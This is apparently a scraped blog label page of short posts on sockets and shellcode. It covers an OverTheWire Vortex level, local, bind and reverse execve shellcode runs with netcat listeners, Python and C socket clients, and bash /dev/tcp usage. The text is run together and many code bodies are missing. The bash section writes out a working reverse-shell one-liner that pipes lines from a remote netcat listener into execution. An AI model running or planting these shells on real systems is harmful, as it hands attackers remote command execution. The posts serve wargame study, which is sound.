SERVER#cat sc.asmSERVER#nasm -f elf sc.asm && ld -o sc sc.oCLIENT#nc -lv 127.0.0.1 1234SERVER#./schostnameexitCLIENT#
Showing posts with label sockets. Show all posts
Showing posts with label sockets. Show all posts
# Reverse TCP bind shell setting source port
# Vortex wargame: Level 0
#cat v0.c#gcc -o v0 v0.c#./v0 vortex.labs.overthewire.org 5842
Labels:
overthewire,
sockets,
vortex,
wargame
# Local, remote and reverse shellcodes
Local shellcode
#cat execve.c#gcc -o execve execve.c#./execve#exit
#cat execve.asm#nasm -f elf execve.asm#ld -o execve execve.o#./execve#exit
# od2sc execve
Remote shellcode
SERVER#cat remote_execve.cSERVER#gcc -o remote_execve remote_execve.cSERVER#./remote_execveCLIENT#nc 127.0.0.1 1234hostnameexitCLIENT#
#cat remote_execve.asmSERVER#nasm -f elf remote_execve.asmSERVER#ld -o remote_execve remote_execve.oSERVER#./remote_execveCLIENT#nc 127.0.0.1 1234hostnameexitCLIENT#
SERVER# od2sc remote_execve
Reverse shellcode
SERVER#cat reverse_execve.cSERVER#gcc -o reverse_execve reverse_execve.cCLIENT#nc -lv 127.0.0.1 1234SERVER#./reverse_execvehostnameexitCLIENT#
SERVER#cat reverse_execve.asmSERVER#nasm -f elf reverse_execve.asmSERVER#ld -o reverse_execve reverse_execve.oCLIENT#nc -lv 127.0.0.1 1234SERVER#./reverse_execvehostnameexitCLIENT#
SERVER# od2sc reverse_execve
References
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf
# Sockets in python
Execution
server#cat pyserver#!/usr/bin/python import socket import sys HOST = 'localhost' PORT = 1024 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket = (HOST, PORT) server.bind(server_socket) print 'Starting up on %s port %s' % server_socket server.listen(5) while True: try: connection, client_socket = server.accept() print 'Connection from', client_socket data = connection.recv(4096) if data: print 'Received', data data = data.strip() connection.send('%s\n%s ack\n%s' % ('-'*15, data, '-'*15)) connection.shutdown(socket.SHUT_RD | socket.SHUT_WR) except KeyboardInterrupt, e: # CTRL+C print '' break connection.close() print 'Connection closed' server.close() server#./pyserver
client#cat client#!/usr/bin/python import socket import sys HOST = 'localhost' PORT = 1024 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket = (HOST, PORT) client.connect(server_socket) client.send(sys.argv[1]) data = client.recv(1024) client.close() print 'Received:' print data client#./pyclient
# C HTTP client
Introduction
HTTP client that does a head request to the server indicated as first argument.
Note: 209.85.146.99 == 0xd1559263 == 3512046179
Code and example
#cat httpclient.c#include <netdb.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> int main(int argc,char *argv[]){ struct addrinfo server_hints; struct addrinfo *server_result; memset(&server_hints,0,sizeof(struct addrinfo)); server_hints.ai_family=AF_UNSPEC; server_hints.ai_socktype=SOCK_STREAM; server_hints.ai_protocol=0; int sfd,s; printf("%s\n",argv[1]); s=getaddrinfo(argv[1],"80",&server_hints,&server_result); if(s==0){ sfd=socket(server_result->ai_family,server_result->ai_socktype,server_result->ai_protocol); if(sfd>0){ struct timeval timeout; timeout.tv_sec=0; timeout.tv_usec=500000; setsockopt(sfd,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)); setsockopt(sfd,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)); if(connect(sfd,server_result->ai_addr,server_result->ai_addrlen)!=-1){ freeaddrinfo(server_result); char msg[20]="HEAD / HTTP/1.0\r\n\r\n\0"; send(sfd,msg,strlen(msg),0); char buffer[4096]; bzero(buffer,sizeof(buffer)); recv(sfd,buffer,sizeof(buffer),0); close(sfd); printf("%s\n",buffer); } } } return 0; } #gcc -o httpclient httpclient.c#./httpclient 3512046179
# Sockets con bash
Introducción
/dev
Ejecución
Petición http sin esperar respuesta
/dev
Ejecución
Petición http sin esperar respuesta
# echo "get /" > /dev/tcp/www.google.com/80
Petición y respuesta http
#Enviar una shell inversa desde local a remotoexec 3<>/dev/tcp/www.google.com/80#echo "get /" >&3#cat <&3#exec 3>&-
remoto#nc -v -l 192.168.0.10 1234local#exec 4<>/dev/tcp/192.168.0.10/1234local#cat <&4 | while read line; do $line 2>&4 >&4; doneremoto# >hostname>local
Subscribe to:
Posts (Atom)